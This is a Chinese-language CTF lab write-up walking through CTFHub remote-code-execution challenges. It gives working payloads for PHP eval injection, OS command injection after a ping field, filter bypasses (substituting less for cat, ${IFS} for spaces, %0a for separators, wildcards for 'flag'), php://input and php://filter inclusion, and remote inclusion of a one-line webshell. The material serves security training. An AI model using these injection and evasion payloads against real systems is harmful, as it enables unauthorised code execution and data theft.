CTFHub----RCE

一.命令注入

1.eval执行

CTFHub----RCE_第1张图片

首先了解什么是eval函数

eval函数会将 括号内的值当成php命令执行

http://challenge-9a888bfbaae5e647.sandbox.ctfhub.com:10800/?cmd=

其次是 $_REQUEST[ ] 函数

PHP 中提供了一个 $_REQUEST 全局变量,它是一个包含了 $_POST、$_GET 和 $_COOKIE 的数组,数组结构与 $_POST 和 $_GET 类似。

也就是说不管是使用 POST 还是使用 GET 方式提交的数据,都可以使用 $_REQUEST 来获取,甚至可以使用 $_REQUEST 来获取 COOKIE 的信息。

如题,我们的变量名为cmd,直接改url

http://challenge-9a888bfbaae5e647.sandbox.ctfhub.com:10800/?cmd=$

$就是我们要执行的php命令

system("ls");
system("ls -a ");
system("ls /*");
system("find / -name 'flag'");

其中 , ls /* 找到flag

然后就 cat flag即可

2.命令注入

CTFHub----RCE_第2张图片

非常简单,直接构造payload

 127.0.0.1 是为了符合前面的那个ping ,

127.0.0.1 | ls
127.0.0.1 | cat flag

3.过滤cat

CTFHub----RCE_第3张图片

 思路同上,只不过把cat转换成less

4.过滤空格

空格的取代
cat file

变成:
cat、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS

5.过滤目录分隔符: /

 CTFHub----RCE_第4张图片

 payload如下:用分号来替代 &

127.0.0.1;ls
127.0.0.1;cat flag

6.综合练习

CTFHub----RCE_第5张图片

正则意思是 过滤 | \ & ; 空格 / cat flag ctfhub 
绕过:


& -> %0a (换行符被url编码后,就是0a,因此需要在url栏注入)
空格 -> ${IFS}

cat -> less
flag -> f*lg

payload构造 

127.0.0.1%0als
127.0.0.1%0acd${IFS}fl*g_is_here
127.0.0.1%0acd${IFS}fl*g_is_here%0aless${IFS}f*ag_17291277221695.php

二.文件包含

1.文件包含

CTFHub----RCE_第6张图片

 意思:有个参数名为file,file指向shell.txt 在shell.txt中有个参数名为ctfhub,这个就是命令执行的点

CTFHub----RCE_第7张图片

如图,找到我们要的flag即可

/sys/devices/platform/serial8250/tty/ttyS0/flags /sys/devices/platform/serial8250/tty/ttyS1/flags /sys/devices/pci0000:00/0000:00:03.0/virtio0/net/eth0/flags /sys/devices/virtual/net/dummy0/flags /sys/devices/virtual/net/lo/flags /usr/include/linux/flat.h /flag 

2.php伪协议

基础:php伪协议实现命令执行_jcxj2934的博客-CSDN博客

经典的php:// 

先构造payload,然后直接命令执行即可

http://challenge-d754d82b1f1869d5.sandbox.ctfhub.com:10800/?file=php://input

然后抓包,进行命令执行,注意:请求方式为GET,所以不能直接在hackbar中利用post data传命令

CTFHub----RCE_第8张图片

 3.远程包含

CTFHub----RCE_第9张图片

尝试下文件包含 CTFHub----RCE_第10张图片

可以看到,文件被执行了

方法1.直接用 php://input 进行命令执行

方法2. 在自己服务器上放一个 1.txt的一句话木马,然后用靶场的服务器去访问,再用蚁剑链接

参考链接:远程文件包含 - 知乎 (zhihu.com)

4.文件读取

CTFHub----RCE_第11张图片 

题目已经提示我们文件读取了,非常简单

由于被题目限制,我们只能用php://filter , 否则用file://也可以

CTFHub----RCE_第12张图片

 

你可能感兴趣的:(web相关,php,开发语言)